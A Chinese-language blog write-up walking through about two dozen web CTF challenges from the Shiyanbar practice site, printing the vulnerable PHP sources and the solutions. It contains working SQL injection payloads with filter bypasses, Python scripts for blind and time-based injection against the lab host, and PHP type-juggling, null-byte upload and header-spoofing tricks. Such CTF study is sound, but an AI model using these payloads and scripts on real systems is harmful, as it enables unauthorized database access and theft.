Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 你真的会PHP吗
    2. 2.2. 因缺思汀的绕过
    3. 2.3. 简单的SQL注入3
    4. 2.4. 简单的sql注入2
    5. 2.5. 简单的sql注入1
    6. 2.6. 天下武功唯快不破
    7. 2.7. 让我进去
    8. 2.8. 拐弯抹角
    9. 2.9. Forms
    10. 2.10. 天网管理系统
    11. 2.11. 忘记密码了
    12. 2.12. Once More
    13. 2.13.
    14. 2.14. Guess Next Session
    15. 2.15. FALSE
    16. 2.16. 上传绕过
    17. 2.17. NSCTF web200
    18. 2.18. 程序逻辑问题
    19. 2.19. what’ the fuck?
    20. 2.20. PHP大法
    21. 2.21. 这个看来有点简单
    22. 2.22. 貌似有点难
    23. 2.23. 头有点大
    24. 2.24. 看起来有点难

前言

实验吧的题目还是很好的,来学习一下。

正文

你真的会PHP吗

查看源码啥也没有,在header里找到一个hint:6c525af4059b4fe7d8c33a.txt,打开得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}

foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}

if(is_numeric($_REQUEST['number'])){

$info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){

$info = "number must be equal to it's integer!! ";
}else{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;

因缺思汀的绕过

查看源码,发现source.txt,打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue); //implode把数组变成字符串拼接起来
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); //发起一条mysql查询
if (mysql_num_rows($query) == 1) { //mysql_num_rows() 返回结果集中行的数目。此命令仅对 SELECT 语句有效。要取得被 INSERT,UPDATE 或者 DELETE 查询所影响到的行的数目,
$key = mysql_fetch_array($query); //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 FALSE。
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

可以看到主要是 $filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)”; 这句话过滤了很多关键词

所以这个题目不能用以前的方法来做,要用到一个新的方法,参考文章

阅读源码可知,我们需要让数据库返回的pwd字段与我们post的内容相同,但是我们不知道数据库中pwd是什么(注意此处是弱类型比较)。

这里是巧妙地用了select过程中用group by with rollup这个统计的方法进行插入查询。做几个实验看看。with rollup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
mysql> create table test(
-> user varchar(100) not null,
-> pwd varchar(100) not null);
Query OK, 0 rows affected (0.05 sec)
mysql> insert into test value("admin","mypwd");
Query OK, 1 row affected (0.00 sec)

mysql> select * from test group by pwd with rollup
-> ;
+-------+-------+
| user | pwd |
+-------+-------+
| admin | mypwd |
| admin | NULL |
+-------+-------+
2 rows in set (0.00 sec)

mysql> select * from test group by pwd with rollup limit 1;
+-------+-------+
| user | pwd |
+-------+-------+
| admin | mypwd |
+-------+-------+
1 row in set (0.00 sec)

mysql> select * from test group by pwd with rollup limit 1 offset 0;
+-------+-------+
| user | pwd |
+-------+-------+
| admin | mypwd |
+-------+-------+
1 row in set (0.00 sec)

mysql> select * from test group by pwd with rollup limit 1 offset 1;
+-------+------+
| user | pwd |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set (0.00 sec)

让pwd变成空,而且user这一列用的却是也是存在的字段!
这就很好用了!又有if (mysql_num_rows($query) == 1)知道只要一列。

然后我们构造payload’ or 1=1 group by pwd with rollup limit 1 offset XX# 进行尝试

最终payload:uname=1' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=

EUDehD.png

简单的SQL注入3

报错注入,方法有很多。

尝试发现floor,extractvalue,updatexml被吃掉了,那就用exp

爆库名:'or EXP(~(SELECT * from(select database())a))#

爆表名:'or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a))#

爆列名:'or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name='flag')a))#

爆数据:'or EXP(~(SELECT * from(select group_concat(flag) from flag)a))#

不得不说报错注入真的厉害。

在网上还看到用脚本bool注入的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
#coding:utf-8

import sys
import re
import urllib.request
import http.client

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

flag = ''
print("Start SQLi")

for i in range(1,27):
for payload in range(30,127):
sys.stdout.write('.')
sys.stdout.flush()
conn = http.client.HTTPConnection('ctf5.shiyanbar.com',timeout=60)
s = "/web/index_3.php?id=1'+and+ascii(substr((select+flag+from+flag)%2C{0}%2C1))+%3D{1}%23".format(i,payload)

conn.request(method='GET',url=s,headers=headers)
response = conn.getresponse().read().decode('utf-8')
conn.close()

if response.find(str('Hello')) >0:
flag += chr(payload)
print(i,chr(payload))
break
print('Done! flag is {0}'.format(flag))

跑的时间有点长

EU0cZV.png

简单的sql注入2

既然是2,那么比1过滤的东西更多。

输入1,正常回显,输入 1’,报错,输入1’ or ‘1’=’1,报错

EUuKVx.png

然后,尝试一堆东西,都是**SQLi detected!**,难道是把空格过滤了吗?

输入1’or’1’=’1,返回所有数据,测试后,发现1’%0aor%0a’1’=’1和1’/**/or/**/‘1’=’1也可以正常返回。

EUuWd0.png

爆库

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

EUKgpD.png

爆表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

EUKhnA.png

爆列

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

EUKOXj.png

爆内容

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

EUMpNV.png

简单的sql注入1

输入1,正常返回

输入1’,报错

输入1’ or ‘1’=’1,返回所有用户数据

应该是字符型注入,

测试了很多之后,发现order by,union select,都被过滤了

EUVL6I.png

而且发现注释符也被过滤了(可以用 **’**号闭合 ,如having , where),

要绕过关键字的过滤,有以下几个方法

大小写: Order SeLect

重复 : unionunion selectselect

交叉: selecselectt

构造语句:1' unionunion selectselect database()',发现空格也被过滤了

EUZ8nx.png

绕过空格有好多方法:+,/**/,%0a,或者两个空格代替一个空格,

如:`1’ unionunion selectselect database()’,爆出数据库(这里是两个空格)

gVC08M.png

爆表1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1

gVCL9a.png

爆列

1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name='flag

EUerRJ.png

爆数据

1' unionunion selectselect flag fromfrom flag wherewhere '1'='1

EUe4iD.png

天下武功唯快不破

EUPBwQ.png

要求很快的传入一个值,键名是key,手传应该是不行的。

在header中找到一个

EUPgS0.png

base解码之后P0ST_THIS_T0_CH4NGE_FL4G:dVcqymnw5

写一个脚本把dVcqymnw5,post上去居然不对,再看header时,发现值变了,看来是每刷新一次,FLAG都会变,所以,把这一部分也写进脚本里

1
2
3
4
5
6
7
8
9
import requests,base64
url='http://ctf5.shiyanbar.com/web/10/10.php'
ses=requests.Session()

r = ses.get(url)
key=base64.b64decode(r.headers['FLAG'])[-9:]
print(key)
r=ses.post(url,data={'key':key})
print(r.text)

EUFPUJ.png

让我进去

看了源码,什么信息都没有,bp抓包之后,在cookie中发现了一个source=0,尝试改成source=1,得到了源码

AHUs39.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}

1.Cookie中getmein的值不能为空
2.username必须为admin和password不能为admin
3.Cookie中的getmein必须等于md5($secret.urldecode($username.$password))

满足这三个条件才可获得flag,可是我们无法得知$secret的值为多少,

拐弯抹角

直接给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
 <?php
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;

//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}

//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}

//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}

//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}

//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Not Pass
}

//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Not Pass
}

//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Not Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>';

一大段的代码,上来就是各种过滤,一脸懵逼,只好去百度了,然后了解到了一个新知识url伪静态,详细信息可以去百度,最关键的就一句话,url中含有xxxx.php/aaa/bbb,那么.php后的aaa就会被当成键名或者说参数名,bbb会被当成键值或者参数值

payload:index.php/aa/index.php,即可得到flag

Forms

查看源码,<input type="hidden" name="showsource" value=0>表明有一个隐藏的输入框,具体可以百度。

AHGg2t.png

bp抓包,把showsource=0,改成showsource=1,得到源码

1
2
3
4
5
6
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}

看到要求输入的pin=-19827747736161128312837161661727773716166727272616149001823847,提交一下试试,得到flag。

天网管理系统

点击他给的用户名和密码登录,没有反应,查看源码,有一行注释

1
$test=$_GET['username']; $test=md5($test); if($test=='0')

这里提示我们传入一个username,然后经过MD5处理后,值等于0,

在使用 == 运算符对两个字符串进行松散比较时,PHP会把类数值的字符串转换为数值进行比较,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。比如: ‘3’ == ‘3ascasd’结果为true。

那么就要找一个经过MD5处理后,值为0,或者说第一个字母是0的字符串,这里有几个240610708,aabg7XSs,aabC9RqS ,

bp抓包后,把username的值换成240610708,得到一个页面的地址,/user.php?fame=hjkleffifer

AHMENt.png

访问/user.php?fame=hjkleffifer,得到一部分源码

1
2
3
4
5
6
$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}

这是PHP反序列化的知识,要求当反序列化后的数组中的user=’???’并且pass=’???’,输出flag

但是我们不知道两处???到底是什么,因此无法考虑用php函数构造这样的值。

最牛的地方来了,bool类型的true跟任意字符串可以弱类型相等

因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。

所以,我们要构造一个数组,是user=true,pass=true,然后进行序列化,序列化过程如下:

1
2
3
4
5
6
<?php
$arr=array('user'=>true,'pass'=>true);
$arr2=serialize($arr);
echo $arr2;
?>

AHlESf.png

把a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}放到password,即可得到flag

AHljNn.png

忘记密码了

查看源码

AHE9C4.png

有重要信息,看到了用户名和用户邮箱,以及文件编辑器是vim,那么有可能存在文件泄露,试了一下,没有。。。

用管理员邮箱登录试试,提示说发到管理员邮箱,你看不到

随便输一个邮箱登录,显示一下信息,显示有一个step2.php,

AHVJyR.png

直接访问,发现网页闪了一下,又回到step1.php了,查看step2.php的源码,有个submit.php

AHVRTf.png

打开看看,提示说you are not admin,怎么才能成为管理员呢?

想起来vim了,再在这个页面看看有没有文件泄露,访问.submit.php.swp,有源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

if(strlen($token)!=10) die(‘fail’);
if($token!=’0’) die(‘fail’); //要求token的长度要=10,值=0

要想满足这个要求,可以使token=0e10000000或者token=0000000000,都可以。

至于emailAddress,应该就是开始的那个管理员邮箱,admin@simplexue.com

所以payload1:?emailAddress=admin@simplexue.com&token=0000000000

payload2:?emailAddress=admin@simplexue.com&token=0e99999999

AHZzUf.png

Once More

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

if (ereg (“^[a-zA-Z0-9]+$”, $_GET[‘password’]) === FALSE) //password由数字和字母组成

if (strlen($_GET[‘password’]) < 8 && $_GET[‘password’] > 9999999) //password长度小于8,password>9999999

if (strpos ($_GET[‘password’], ‘*-*‘) !== FALSE) //password必须包含*-*

ereg()函数可以哄%00截断,来绕过判断,strpos()则可以使用数组来绕过。

payload:?password[]=1

AHAOuq.png

还可以不绕过strpos(),那就要使用科学计数法,来绕过if (strlen($_GET[‘password’]) < 8 && $_GET[‘password’] > 9999999),并且把*-*拼接上去,payload:?password=1e8%00*-*

AHAIUS.png

Guess Next Session

源码

1
2
3
4
5
6
7
8
9
10
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

bp抓包之后一顿操作,然而没有成功,尝试在cookie里面添加一个值,也不对,百度一下,看看别人的wp,参考文章

观察代码,在代码中并没有什么函数,关键就在于:password = $_session[‘password’]。

问题到了这一步,让我们把这放下,先来分析一下PHP中的Session和Cookie。

Cookie与 Session,一般都会认为这是两个独立完全不同的东西,Session采用的是在服务器端保持状态的方案,而Cookie采用的是在客户端保持状态的方案。在PHP配置中的默认情况下,Session是用Session ID来确定当前对话所对应的服务器Session,而Session ID是通过Cookie来传递的,禁用Cookie相当于失去了Session ID,也就得不到Session了。

bp抓包之后,

AHk9dU.png

从抓包的内容中我们就能看见在Cookie中已经是包含了Sessid,并且发送的password在URL中以Get的方式传值。

那这里我们就可以以这样的思路来求解。首先我们删除所有的Cookie,将PHPSessid值直接删掉,这样的结果就会使得$_session[‘password’]值为空,接下来我们将URL中的password值清空,这样我们就能达到password = $_session[‘password’]的效果。

右键,发送到Repeater,删掉Cookie和password,点击go就能得到flag

FALSE

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

if ($_GET[‘name’] == $_GET[‘password’])

if (sha1($_GET[‘name’]) === sha1($_GET[‘password’]))

要求name!=password,但是sha1(name)===sha1(password)

这是md5的强比较,可以使用数组绕过

payload:?name[]=1&password[]=2

AHiuX6.png

上传绕过

这个题忘了在哪做过了

尝试改后缀名不行之后,那么就猜测是0x00截断,0x00截断的原理是当文件系统读取到0x00是会认为文件已经结束了,不处理后面的内容。

bp抓包,

AHPJyV.png

打开hex,找到2b(+),改成00,

AHPfFH.png

然后go,即可得到flag

NSCTF web200

A7j07n.png

先说一下strrev函数,是一个字符串反转函数,例如:

1
2
3
4
5

<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?>

substr — 返回字符串的子串,例如:

1
2
3
4
5
6
7
8

<?php
$rest = substr("abcdef", 0, -1); // 返回 "abcde"
$rest = substr("abcdef", 2, 5); // 返回 "cdef"
$rest = substr("abcdef", 4, -4); // 返回 ""
$rest = substr("abcdef", -3, -1); // 返回 "de"
?>

decode算法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$_="";
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$a=base64_decode(strrev(str_rot13($str)));
for($_0=strlen($a)-1;$_0>=0;$_0--)
{
$_c=substr($a,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo $_;

程序逻辑问题

查看源码,发现一个index.php,打开之后是php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

strcasecmp() 函数比较两个字符串。

提示:strcasecmp() 函数是二进制安全的,且不区分大小写。

提示:该函数与 strncasecmp() 函数类似,不同的是,通过 strncasecmp() 您可以指定每个字符串用于比较的字符数。

$sql = “select pw from php where user=’$user’”;

说明是单引号闭合,

$pass = md5($_POST[pass]);

if (($row[pw]) && (!strcasecmp($pass, $row[pw])))

可以看出post提交的password经过了MD5处理,而要想得到flag,必须使得数据库中查询到的password和经过MD5处理的提交了的password相等,提交的password我们 可以控制,但是数据库中的password我们就不知道是多少了。

但是,我们发现$row[pw]的值是从$sql中提取出来的,所以我们只要改变了$sql里的pw值就可以了,我们可以用SQL语句随便查询一个pw值,然后使得提交的password的MD5值和这里查询的password的MD5值相等即可。

payload:username=-1' union select md5(1)#&password=1

what’ the fuck?

打开是一大段JSFUCK码,直接放在控制台跑一下,得到flag,也可以在线解码。

PHP大法

有提示查看index.php.txt,有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>

一看,发现这道题在bugku做过,二次编码绕过

payload:?id=hackerD%254A,就行了。

这个看来有点简单

这题一看就是注入,测试了一下,就是一个bool注入,两列

然后就是四步走

爆库

?id=-1 union select 1,database()#

爆表

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆列

?id=-1 union select 1,column_name from information_schema.columns where table_name='thiskey'#

爆内容

?id=-1 union select 1,k0y from thiskey#

就可以得到flag了

貌似有点难

打开就说代码审计,那就看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

这段代码要求本地的IP是1.1.1.1就会输出flag,即要求:

X-Forwarded-For:1.1.1.1

bp抓包,添加这个就可以了。

ATqqH0.png

头有点大

看这个题目的提示,问题应该在header上。

ATH1ET.png

您无权访问此服务器上的/。
请确保您已安装.net framework 9.9!
确保您在英格兰地区并使用Internet Explorer浏览此站点

有三个要求:1.使用.net 9.9框架 2.在英国 3.使用IE浏览器。

要修改http的请求头,来伪装一下。

ATHIIS.png

bp抓包之后,修改User-Agent和Accept-Language即可

User-Agent: compatible; MSIE 6.0;.NET CLR 9.9 //伪装成IE和.net 9.9

Accept-Language:en-gb //伪装是英国

看起来有点难

看着像注入题,随便输入一个账户和密码,显示数据库连接失败

A7Lg6H.png

把用户名换成admin试试,变成了登录失败,错误的用户名和密码。

A7L79S.png

这是为什么呢?然后又换了其他用户名试了试,发现都是数据库连接失败,于是猜测,admin就是正确的用户名,

bp抓包,然后希望通过构造永真的条件来跳过密码验证,都失败了,导出文件之后,sqlmap跑了几遍也不行,,,,,,,

只好在网上找找wp了,发现是sleep延时注入(延时注入不怎么会啊),

看着做一遍吧,参考文章

测试payload:

?admin=admin' and sleep(5) and ''='&pass=&action=login

发现延时5秒,存在注入

拿人家的脚本试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-' #不区分大小写的

flag = ""
key=0
print("Start")
for i in range(1,50):
if key == 1:
break
for payload in payloads:
starttime = time.time()#记录当前时间
headers = {"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
"Connection": "keep-alive",
}
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#数据库
res = requests.get(url, headers=headers)
if time.time() - starttime > 10:
flag += payload
print('\n pwd is:', flag)
break
else:
if payload == '-':
key = 1
break
print('\n[Finally] current pwd is %s' % flag)

成功得到密码

A7jGff.png

想看详细信息的,查看原文

用密码登录之后,即可得到flag

Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 你真的会PHP吗
    2. 2.2. 因缺思汀的绕过
    3. 2.3. 简单的SQL注入3
    4. 2.4. 简单的sql注入2
    5. 2.5. 简单的sql注入1
    6. 2.6. 天下武功唯快不破
    7. 2.7. 让我进去
    8. 2.8. 拐弯抹角
    9. 2.9. Forms
    10. 2.10. 天网管理系统
    11. 2.11. 忘记密码了
    12. 2.12. Once More
    13. 2.13.
    14. 2.14. Guess Next Session
    15. 2.15. FALSE
    16. 2.16. 上传绕过
    17. 2.17. NSCTF web200
    18. 2.18. 程序逻辑问题
    19. 2.19. what’ the fuck?
    20. 2.20. PHP大法
    21. 2.21. 这个看来有点简单
    22. 2.22. 貌似有点难
    23. 2.23. 头有点大
    24. 2.24. 看起来有点难